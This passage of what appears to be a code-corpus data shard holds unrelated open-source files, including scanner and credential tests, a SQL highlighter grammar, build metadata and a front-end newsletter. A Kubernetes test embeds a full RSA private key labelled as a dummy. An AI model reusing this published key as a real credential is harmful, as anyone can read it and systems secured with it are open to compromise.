animationDelegate=_animationDelegate;\n- (id).cxx_construct;\n- (void).cxx_destruct;\n- (void)setUserInterfaceLayoutDirection:(long long)arg1;\n- (long long)userInterfaceLayoutDirection;\n- (void)animationDidStop:(id)arg1 finished:(BOOL)arg2;\n- (void)animationDidStart:(id)arg1;\n- (void)completeAnimation;\n- (void)setSelected:(BOOL)arg1;\n- (void)setProgressFrame:(struct CGRect)arg1;\n@property(nonatomic) unsigned int state; // @dynamic state;\n@property(nonatomic) double percentComplete; // @dynamic percentComplete;\n- (void)setPercentComplete:(double)arg1 animated:(_Bool)arg2;\n- (void)dealloc;\n- (id)initWithLayer:(id)arg1;\n- (id)init;\n- (id)initVariant:(int)arg1 percentComplete:(double)arg2;\n\n// Remaining properties\n@property(readonly, copy) NSString *debugDescription;\n@property(readonly, copy) NSString *description;\n@property(readonly) unsigned long long hash;\n@property(readonly) Class superclass;\n\n@end\n\n"} -{"text": "\"\"\"\ntest_expect_ct.py\n\nCopyright 2019 Andres Riancho\n\nThis file is part of w3af, http://w3af.org/ .\n\nw3af is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation version 2 of the License.\n\nw3af is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with w3af; if not, write to the Free Software\nFoundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\"\"\"\nimport unittest\n\nimport w3af.core.data.kb.knowledge_base as kb\nfrom w3af.core.data.url.HTTPResponse import HTTPResponse\nfrom w3af.core.data.request.fuzzable_request import FuzzableRequest\nfrom w3af.core.data.parsers.doc.url import URL\nfrom w3af.core.data.dc.headers import Headers\nfrom w3af.core.controllers.misc.temp_dir import create_temp_dir\nfrom w3af.plugins.grep.expect_ct import expect_ct\n\n\nclass TestECTSecurity(unittest.TestCase):\n\n def setUp(self):\n create_temp_dir()\n self.plugin = expect_ct()\n\n def tearDown(self):\n self.plugin.end()\n kb.kb.cleanup()\n\n def test_http_no_vuln(self):\n body = ''\n url = URL('http://www.w3af.com/')\n headers = Headers([('content-type', 'text/html')])\n request = FuzzableRequest(url, method='GET')\n resp = HTTPResponse(200, body, headers, url, url, _id=1)\n\n self.plugin.grep(request, resp)\n self.assertEquals(len(kb.kb.get('expect_ct',\n 'expect_ct')), 0)\n\n def test_https_with_ect(self):\n body = ''\n url = URL('https://www.w3af.com/')\n headers = Headers([('content-type', 'text/html'),\n ('expect-ct',\n 'max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"')])\n request = FuzzableRequest(url, method='GET')\n resp = HTTPResponse(200, body, headers, url, url, _id=1)\n\n self.plugin.grep(request, resp)\n self.assertEquals(len(kb.kb.get('expect_ct',\n 'expect_ct')), 0)\n\n def test_https_without_ect(self):\n body = ''\n url = URL('https://www.w3af.com/')\n headers = Headers([('content-type', 'text/html')])\n request = FuzzableRequest(url, method='GET')\n resp = HTTPResponse(200, body, headers, url, url, _id=1)\n\n self.plugin.grep(request, resp)\n\n findings = kb.kb.get('expect_ct',\n 'expect_ct')\n self.assertEquals(len(findings), 1, findings)\n\n info_set = findings[0]\n expected_desc = u'The remote web server sent 1 HTTPS responses which' \\\n u' do not contain the Strict-Transport-Security' \\\n u' header. The first ten URLs which did not send the' \\\n u' header are:\\n - https://www.w3af.com/\\n'\n\n self.assertEqual(info_set.get_id(), [1])\n self.assertEqual(info_set.get_desc(), expected_desc)\n self.assertEqual(info_set.get_name(),\n 'Missing Expect-CT header')\n\n def test_https_without_ect_group_by_domain(self):\n body = ''\n url = URL('https://www.w3af.com/1')\n headers = Headers([('content-type', 'text/html')])\n request = FuzzableRequest(url, method='GET')\n resp = HTTPResponse(200, body, headers, url, url, _id=1)\n\n self.plugin.grep(request, resp)\n\n body = ''\n url = URL('https://www.w3af.com/2')\n headers = Headers([('content-type', 'text/html')])\n request = FuzzableRequest(url, method='GET')\n resp = HTTPResponse(200, body, headers, url, url, _id=2)\n\n self.plugin.grep(request, resp)\n\n findings = kb.kb.get('expect_ct',\n 'expect_ct')\n self.assertEquals(len(findings), 1, findings)\n\n info_set = findings[0]\n expected_desc = u'The remote web server sent 2 HTTPS responses which' \\\n u' do not contain the Expect-CT' \\\n u' header. The first ten URLs which did not send the' \\\n u' header are:\\n - https://www.w3af.com/1\\n' \\\n u' - https://www.w3af.com/2\\n'\n\n self.assertEqual(info_set.get_id(), [1, 2])\n self.assertEqual(info_set.get_desc(), expected_desc)\n self.assertEqual(info_set.get_name(),\n 'Missing Expect-CT header')\n"} -{"text": "/*\nLanguage: SQL\n*/\n\nfunction(hljs) {\n return {\n case_insensitive: true,\n defaultMode: {\n illegal: '[^\\\\s]',\n contains: [\n {\n className: 'operator',\n begin: '(begin|start|commit|rollback|savepoint|lock|alter|create|drop|rename|call|delete|do|handler|insert|load|replace|select|truncate|update|set|show|pragma|grant)\\\\b', end: ';', endsWithParent: true,\n keywords: {\n keyword: 'all partial global month current_timestamp using go revoke smallint ' +\n 'indicator end-exec disconnect zone with character assertion to add current_user ' +\n 'usage input local alter match collate real then rollback get read timestamp ' +\n 'session_user not integer bit unique day minute desc insert execute like ilike|2 ' +\n 'level decimal drop continue isolation found where constraints domain right ' +\n 'national some module transaction relative second connect escape close system_user ' +\n 'for deferred section cast current sqlstate allocate intersect deallocate numeric ' +\n 'public preserve full goto initially asc no key output collation group by union ' +\n 'session both last language constraint column of space foreign deferrable prior ' +\n 'connection unknown action commit view or first into float year primary cascaded ' +\n 'except restrict set references names table outer open select size are rows from ' +\n 'prepare distinct leading create only next inner authorization schema ' +\n 'corresponding option declare precision immediate else timezone_minute external ' +\n 'varying translation true case exception join hour default double scroll value ' +\n 'cursor descriptor values dec fetch procedure delete and false int is describe ' +\n 'char as at in varchar null trailing any absolute current_time end grant ' +\n 'privileges when cross check write current_date pad begin temporary exec time ' +\n 'update catalog user sql date on identity timezone_hour natural whenever interval ' +\n 'work order cascade diagnostics nchar having left call do handler load replace ' +\n 'truncate start lock show pragma',\n aggregate: 'count sum min max avg'\n },\n contains: [\n {\n className: 'string',\n begin: '\\'', end: '\\'',\n contains: [hljs.BACKSLASH_ESCAPE, {begin: '\\'\\''}],\n relevance: 0\n },\n {\n className: 'string',\n begin: '\"', end: '\"',\n contains: [hljs.BACKSLASH_ESCAPE, {begin: '\"\"'}],\n relevance: 0\n },\n {\n className: 'string',\n begin: '`', end: '`',\n contains: [hljs.BACKSLASH_ESCAPE]\n },\n hljs.C_NUMBER_MODE\n ]\n },\n hljs.C_BLOCK_COMMENT_MODE,\n {\n className: 'comment',\n begin: '--', end: '$'\n }\n ]\n }\n };\n}\n"} -{"text": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# \n# Translators:\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Mayan EDMS\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2017-08-27 12:47-0400\\n\"\n\"PO-Revision-Date: 2017-04-21 16:26+0000\\n\"\n\"Last-Translator: Roberto Rosario\\n\"\n\"Language-Team: Arabic (http://www.transifex.com/rosarior/mayan-edms/language/ar/)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Language: ar\\n\"\n\"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\\n\"\n\n#: apps.py:16 links.py:8\nmsgid \"REST API\"\nmsgstr \"\"\n\n#: fields.py:30\n#, python-format\nmsgid \"Unable to find serializer class for: %s\"\nmsgstr \"\"\n\n#: links.py:12\nmsgid \"API Documentation\"\nmsgstr \"\"\n"} -{"text": "/* LibTomCrypt, modular cryptographic library -- Tom St Denis */\n/* SPDX-License-Identifier: Unlicense */\n\n/**\n @file ocb3_int_ntz.c\n OCB implementation, INTERNAL ONLY helper, by Tom St Denis\n*/\n#include \"tomcrypt_private.h\"\n\n#ifdef LTC_OCB3_MODE\n\n/**\n Returns the number of leading zero bits [from lsb up] (internal function)\n @param x The 32-bit value to observe\n @return The number of bits [from the lsb up] that are zero\n*/\nint ocb3_int_ntz(unsigned long x)\n{\n int c;\n x &= 0xFFFFFFFFUL;\n c = 0;\n while ((x & 1) == 0) {\n ++c;\n x >>= 1;\n }\n return c;\n}\n\n#endif\n"} -{"text": "# \u524d\u7aef\u5468\u520a \u7b2c13\u671f\uff0820180331\uff09\n\n## \u65b0\u9c9c\u4e8b\n- [React v16.3.0: New lifecycles and context API](https://reactjs.org/blog/2018/03/29/react-v-16-3.html?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=news)\uff1aRT \n- [V8 release v6.6](https://v8project.blogspot.hk/2018/03/v8-release-66.html?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=news)\uff1a\u65b0\u7248 V8 \u5f15\u64ce\u5c06\u4f34\u968f Chrome 66 \u4e00\u8d77\u5347\u7ea7\uff0c`Array#reduce` \u6027\u80fd\u5927\u5e45\u63d0\u5347 \n- [Announcing TypeScript 2.8](https://blogs.msdn.microsoft.com/typescript/2018/03/27/announcing-typescript-2-8/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=news)\uff1aRT \n\n## \u524d\u7aef\u63d0\u9ad8\n- [A list of cool Chrome DevTools Tips and Tricks](https://flaviocopes.com/chrome-devtools-tips/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=tips)\uff1aChrome \u5f00\u53d1\u8005\u5de5\u5177\u6280\u5de7 \n- [What\u2019s new in ES2018?](https://slidr.io/mathiasbynens/what-s-new-in-es2018?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=tutorial) \n- [Unit Testing in JavaScript](https://www.taniarascia.com/unit-testing-in-javascript/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=tutorial)\uff1a\u5165\u95e8 TDD \u5f00\u53d1 \n\n## \u503c\u5f97\u5173\u6ce8\n- [driver.js](http://kamranahmed.info/driver)\uff1a\u9875\u9762\u5f15\u5bfc\u6548\u679c\u5e93\u3010[GitHub repo](https://github.com/kamranahmedse/driver.js?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=code)\u3011 \n- [react-testing-library](https://github.com/kentcdodds/react-testing-library?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=github)\uff1aReact DOM \u6d4b\u8bd5\u5de5\u5177 \n- [Nerv](https://github.com/NervJS/nerv?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=github)\uff1a\u53c8\u4e00\u4e2a\u7c7b React \u7ec4\u4ef6\u6846\u67b6 \n- [Pure CSS Saturn Hula Hooping](https://codepen.io/jcoulterdesign/pen/BrdPaw?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=code)\uff1aCSS \u505a\u7684\u571f\u661f\u547c\u5566\u5708 \n- [luxe](https://luxeengine.com/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=github)\uff1aA lovingly hand crafted cross platform game engine\n\n## \u8bfe\u5916\u8bfb\u7269\n- [TensorFlow.js](https://js.tensorflow.org/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=demo)\uff1aRT \n- [Mosaic](https://codepen.io/Mamboleoo/pen/vRYxQy?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=github) \n- [Spatial Hash Canvas Particles](https://codepen.io/jackrugile/full/JLOXWZ/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=demo) \n- [Path Flow aka Mesh Path Deformation Modifier](https://zz85.github.io/threejs-path-flow/flow.html?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=demo)\uff1aThree.js \u5faa\u73af\u8def\u5f84\u3010[GitHub repo](https://github.com/zz85/threejs-path-flow?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=demo)\u3011 \n- [kin and eye rendering in WebGL](https://www.derschmale.com/lab/doodles/blueeyes/build/?utm_source=mife&utm_medium=article&utm_campaign=mifeweekly&utm_term=demo) \n\n-- EOF --\n"} -{"text": "/*\nCopyright 2014 The Kubernetes Authors All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage gcp_credentials\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"k8s.io/kubernetes/pkg/credentialprovider\"\n)\n\nconst email = \"foo@bar.com\"\n\n// From oauth2/jwt_test.go\nvar (\n\tdummyPrivateKey = `-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAx4fm7dngEmOULNmAs1IGZ9Apfzh+BkaQ1dzkmbUgpcoghucE\nDZRnAGd2aPyB6skGMXUytWQvNYav0WTR00wFtX1ohWTfv68HGXJ8QXCpyoSKSSFY\nfuP9X36wBSkSX9J5DVgiuzD5VBdzUISSmapjKm+DcbRALjz6OUIPEWi1Tjl6p5RK\n1w41qdbmt7E5/kGhKLDuT7+M83g4VWhgIvaAXtnhklDAggilPPa8ZJ1IFe31lNlr\nk4DRk38nc6sEutdf3RL7QoH7FBusI7uXV03DC6dwN1kP4GE7bjJhcRb/7jYt7CQ9\n/E9Exz3c0yAp0yrTg0Fwh+qxfH9dKwN52S7SBwIDAQABAoIBAQCaCs26K07WY5Jt\n3a2Cw3y2gPrIgTCqX6hJs7O5ByEhXZ8nBwsWANBUe4vrGaajQHdLj5OKfsIDrOvn\n2NI1MqflqeAbu/kR32q3tq8/Rl+PPiwUsW3E6Pcf1orGMSNCXxeducF2iySySzh3\nnSIhCG5uwJDWI7a4+9KiieFgK1pt/Iv30q1SQS8IEntTfXYwANQrfKUVMmVF9aIK\n6/WZE2yd5+q3wVVIJ6jsmTzoDCX6QQkkJICIYwCkglmVy5AeTckOVwcXL0jqw5Kf\n5/soZJQwLEyBoQq7Kbpa26QHq+CJONetPP8Ssy8MJJXBT+u/bSseMb3Zsr5cr43e\nDJOhwsThAoGBAPY6rPKl2NT/K7XfRCGm1sbWjUQyDShscwuWJ5+kD0yudnT/ZEJ1\nM3+KS/iOOAoHDdEDi9crRvMl0UfNa8MAcDKHflzxg2jg/QI+fTBjPP5GOX0lkZ9g\nz6VePoVoQw2gpPFVNPPTxKfk27tEzbaffvOLGBEih0Kb7HTINkW8rIlzAoGBAM9y\n1yr+jvfS1cGFtNU+Gotoihw2eMKtIqR03Yn3n0PK1nVCDKqwdUqCypz4+ml6cxRK\nJ8+Pfdh7D+ZJd4LEG6Y4QRDLuv5OA700tUoSHxMSNn3q9As4+T3MUyYxWKvTeu3U\nf2NWP9ePU0lV8ttk7YlpVRaPQmc1qwooBA/z/8AdAoGAW9x0HWqmRICWTBnpjyxx\nQGlW9rQ9mHEtUotIaRSJ6K/F3cxSGUEkX1a3FRnp6kPLcckC6NlqdNgNBd6rb2rA\ncPl/uSkZP42Als+9YMoFPU/xrrDPbUhu72EDrj3Bllnyb168jKLa4VBOccUvggxr\nDm08I1hgYgdN5huzs7y6GeUCgYEAj+AZJSOJ6o1aXS6rfV3mMRve9bQ9yt8jcKXw\n5HhOCEmMtaSKfnOF1Ziih34Sxsb7O2428DiX0mV/YHtBnPsAJidL0SdLWIapBzeg\nKHArByIRkwE6IvJvwpGMdaex1PIGhx5i/3VZL9qiq/ElT05PhIb+UXgoWMabCp84\nOgxDK20CgYAeaFo8BdQ7FmVX2+EEejF+8xSge6WVLtkaon8bqcn6P0O8lLypoOhd\nmJAYH8WU+UAy9pecUnDZj14LAGNVmYcse8HFX71MoshnvCTFEPVo4rZxIAGwMpeJ\n5jgQ3slYLpqrGlcbLgUXBUgzEO684Wk/UV9DFPlHALVqCfXQ9dpJPg==\n-----END RSA PRIVATE KEY-----`\n\n\tjsonKey = fmt.Sprintf(`{\"private_key\":\"%[1]s\", \"client_email\":\"%[2]s\"}`,\n\t\tstrings.Replace(dummyPrivateKey, \"\\n\", \"\\\\n\", -1), email)\n)\n\nfunc TestJwtProvider(t *testing.T) {\n\ttoken := \"asdhflkjsdfkjhsdf\"\n\n\t// Modeled after oauth2/jwt_test.go\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Write([]byte(fmt.Sprintf(`{\n\t\t\t\"access_token\": \"%[1]s\",\n\t\t\t\"scope\": \"user\",\n\t\t\t\"token_type\": \"bearer\",\n\t\t\t\"expires_in\": 3600\n\t\t}`, token)))\n\t}))\n\t// TODO: Uncomment when fix #19254\n\t// defer ts.Close()\n\n\tfile, err := ioutil.TempFile(os.TempDir(), \"temp\")\n\tif err != nil {\n\t\tt.Fatalf(\"Error creating temp file: %v\", err)\n\t}\n\n\tfilename := file.Name()\n\t_, err = file.WriteString(jsonKey)\n\tif err != nil {\n\t\tt.Fatalf(\"Error writing temp file: %v\", err)\n\t}\n\n\tprovider := &jwtProvider{\n\t\tpath: &filename,\n\t\ttokenUrl: ts.URL,\n\t}\n\tif !provider.Enabled() {\n\t\tt.Fatalf(\"Provider is unexpectedly disabled\")\n\t}\n\n\tkeyring := &credentialprovider.BasicDockerKeyring{}\n\tkeyring.Add(provider.Provide())\n\n\t// Verify that we get the expected username/password combo for\n\t// a gcr.io image name.\n\tregistryUrl := \"gcr.io/foo/bar\"\n\tcreds, ok := keyring.Lookup(registryUrl)\n\tif !ok {\n\t\tt.Errorf(\"Didn't find expected URL: %s\", registryUrl)\n\t\treturn\n\t}\n\tif len(creds) > 1 {\n\t\tt.Errorf(\"Got more hits than expected: %s\", creds)\n\t}\n\tval := creds[0]\n\n\tif \"_token\" != val.Username {\n\t\tt.Errorf(\"Unexpected username value, want: _token, got: %s\", val.Username)\n\t}\n\tif token != val.Password {\n\t\tt.Errorf(\"Unexpected password value, want: %s, got: %s\", token, val.Password)\n\t}\n\tif email != val.Email {\n\t\tt.Errorf(\"Unexpected email value, want: %s, got: %s\", email, val.Email)\n\t}\n}\n"} -{"text": "package sqlancer.dbms;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assumptions.assumeTrue;\n\nimport org.junit.jupiter.api.Test;\nimport sqlancer.Main;\n\npublic class TestClickHouse {\n\n @Test\n public void testClickHouseTLPWhereGroupBy() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0,\n Main.executeMain(new String[] { \"--timeout-seconds\", \"60\", \"--num-queries\", TestConfig.NUM_QUERIES,\n \"--num-threads\", \"5\", \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\",\n \"TLPWhere\", \"--oracle\", \"TLPGroupBy\" }));\n }\n\n @Test\n public void testClickHouseTLPWhere() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0,\n Main.executeMain(new String[] { \"--timeout-seconds\", \"60\", \"--num-queries\", TestConfig.NUM_QUERIES,\n \"--num-threads\", \"5\", \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\",\n \"TLPWhere\" }));\n }\n\n @Test\n public void testClickHouseTLPHaving() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0,\n Main.executeMain(new String[] { \"--timeout-seconds\", \"60\", \"--num-queries\", \"0\", \"--num-threads\", \"5\",\n \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\", \"TLPHaving\" })); // Disabled\n // in CI\n // https://github.com/ClickHouse/ClickHouse/issues/12264\n }\n\n @Test\n public void testClickHouseTLPGroupBy() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0,\n Main.executeMain(new String[] { \"--timeout-seconds\", \"60\", \"--num-queries\", TestConfig.NUM_QUERIES,\n \"--num-threads\", \"5\", \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\",\n \"TLPGroupBy\" }));\n }\n\n @Test\n public void testClickHouseTLPDistinct() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0,\n Main.executeMain(new String[] { \"--timeout-seconds\", \"60\", \"--num-queries\", TestConfig.NUM_QUERIES,\n \"--num-threads\", \"5\", \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\",\n \"TLPDistinct\" }));\n }\n\n @Test\n public void testClickHouseTLPAggregate() {\n String clickHouseAvailable = System.getenv(\"CLICKHOUSE_AVAILABLE\");\n boolean clickHouseIsAvailable = clickHouseAvailable != null && clickHouseAvailable.equalsIgnoreCase(\"true\");\n assumeTrue(clickHouseIsAvailable);\n assertEquals(0, Main.executeMain(new String[] { \"--timeout-seconds\", \"0\", \"--num-queries\", \"0\", \"--num-threads\",\n \"5\", \"--username\", \"default\", \"--password\", \"\", \"clickhouse\", \"--oracle\", \"TLPAggregate\" })); // Disabled\n // https://github.com/ClickHouse/ClickHouse/issues/13894\n }\n\n}\n"} -{"text": "\ufeff\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav\n \n \n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n"} -{"text": "fileFormatVersion: 2\nguid: 3e40c07acfc66427ca1250e3a28f1905\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n"} -{"text": "// Copyright 2015 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"net/proxy/mojo_proxy_resolver_v8_tracing_bindings.h\"\n\n#include \n#include \n#include \n\n#include \"base/macros.h\"\n#include \"base/strings/utf_string_conversions.h\"\n#include \"testing/gtest/include/gtest/gtest.h\"\n\nnamespace net {\n\nclass MojoProxyResolverV8TracingBindingsTest : public testing::Test {\n public:\n MojoProxyResolverV8TracingBindingsTest() = default;\n\n void SetUp() override {\n bindings_.reset(new MojoProxyResolverV8TracingBindings<\n MojoProxyResolverV8TracingBindingsTest>(this));\n }\n\n void Alert(const std::string& message) { alerts_.push_back(message); }\n\n void OnError(int32_t line_number, const std::string& message) {\n errors_.push_back(std::make_pair(line_number, message));\n }\n\n void ResolveDns(std::unique_ptr request_info,\n interfaces::HostResolverRequestClientPtr client) {}\n\n protected:\n std::unique_ptr>\n bindings_;\n\n std::vector alerts_;\n std::vector> errors_;\n\n private:\n DISALLOW_COPY_AND_ASSIGN(MojoProxyResolverV8TracingBindingsTest);\n};\n\nTEST_F(MojoProxyResolverV8TracingBindingsTest, Basic) {\n bindings_->Alert(base::ASCIIToUTF16(\"alert\"));\n bindings_->OnError(-1, base::ASCIIToUTF16(\"error\"));\n\n EXPECT_TRUE(bindings_->GetHostResolver());\n EXPECT_FALSE(bindings_->GetNetLogWithSource().net_log());\n\n ASSERT_EQ(1u, alerts_.size());\n EXPECT_EQ(\"alert\", alerts_[0]);\n ASSERT_EQ(1u, errors_.size());\n EXPECT_EQ(-1, errors_[0].first);\n EXPECT_EQ(\"error\", errors_[0].second);\n}\n\n} // namespace net\n"} -{"text": "q = 2**255 - 19\n\ndef expmod(b,e,m):\n if e == 0: return 1\n t = expmod(b,e/2,m)**2 % m\n if e & 1: t = (t*b) % m\n return t\n\ndef inv(x):\n return expmod(x,q-2,q)\n\ndef radix255(x):\n x = x % q\n if x + x > q: x -= q\n x = [x,0,0,0,0,0,0,0,0,0]\n bits = [26,25,26,25,26,25,26,25,26,25]\n for i in range(9):\n carry = (x[i] + 2**(bits[i]-1)) / 2**bits[i]\n x[i] -= carry * 2**bits[i]\n x[i + 1] += carry\n result = \"\"\n for i in range(9):\n result = result+str(x[i])+\",\"\n result = result+str(x[9])\n return result\n\nI = expmod(2,(q-1)/4,q)\nprint radix255(I)\n"} -{"text": "{\n \"Terra.searchField.clear\": \"Effacer\",\n \"Terra.searchField.search\": \"Rechercher\",\n \"Terra.searchField.submit-search\": \"Soumettre la recherche\"\n}\n"} -{"text": "@comment $NetBSD: PLIST,v 1.1 2015/05/08 11:27:48 wiz Exp $\nshare/texmf-dist/fonts/afm/arkandis/libris/ylyb8a.afm\nshare/texmf-dist/fonts/afm/arkandis/libris/ylybi8a.afm\nshare/texmf-dist/fonts/afm/arkandis/libris/ylyr8a.afm\nshare/texmf-dist/fonts/afm/arkandis/libris/ylyri8a.afm\nshare/texmf-dist/fonts/enc/dvips/libris/libris-supp.enc\nshare/texmf-dist/fonts/enc/dvips/libris/t1-cfr-yly.enc\nshare/texmf-dist/fonts/enc/dvips/libris/ts1-euro-yly.enc\nshare/texmf-dist/fonts/map/dvips/libris/yly.map\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyb-t1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyb-ts1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyb8c.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyb8s.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyb8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybi-t1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybi-ts1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybi8c.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybi8s.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybi8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybiw8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylybw8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyr-t1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyr-ts1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyr8c.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyr8s.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyr8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyri-t1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyri-ts1.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyri8c.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyri8s.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyri8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyriw8t.tfm\nshare/texmf-dist/fonts/tfm/arkandis/libris/ylyrw8t.tfm\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyb8a.pfb\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyb8a.pfm\nshare/texmf-dist/fonts/type1/arkandis/libris/ylybi8a.pfb\nshare/texmf-dist/fonts/type1/arkandis/libris/ylybi8a.pfm\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyr8a.pfb\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyr8a.pfm\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyri8a.pfb\nshare/texmf-dist/fonts/type1/arkandis/libris/ylyri8a.pfm\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyb8c.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyb8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylybi8c.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylybi8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylybiw8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylybw8t.vf\nshare/texmf-dist/fonts/vf/arkan